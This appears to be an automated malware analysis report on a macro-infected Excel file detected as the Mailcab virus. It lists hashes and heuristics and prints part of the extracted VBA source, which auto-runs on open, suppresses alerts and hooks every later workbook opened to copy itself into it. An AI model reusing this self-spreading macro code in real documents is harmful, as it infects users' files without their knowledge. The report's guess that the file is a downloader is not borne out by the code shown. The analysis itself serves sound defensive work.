Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 afd3ebac48bea4aa…

MALICIOUS

Office (OLE)

107.0 KB Created: 2011-08-21 01:53:12 Authoring application: Microsoft Excel First seen: 2019-01-12
MD5: e5042879fa4abeec463b020a6cf8c60f SHA-1: 9694af821bceb9d70c86701399d23adacff9a9c4 SHA-256: afd3ebac48bea4aa4e7e5a15d8912137d88d6ad8b2e946ca1f202b272ff02fee
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel file containing VBA macros, specifically a Workbook_Open macro that executes automatically. This macro is designed to perform actions upon opening, indicating a malicious intent to execute code. The ClamAV detection and heuristic firings strongly suggest this is a malicious macro-based document, likely used as a downloader for further malicious activity.

Heuristics 4

  • ClamAV: Xls.Virus.Mailcab-6702020-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Mailcab-6702020-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2020 bytes
SHA-256: 261272413cc2b90ffe5be2f6d3cb5575ab7272ad787be40f0d2d045ea68dc5ea
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True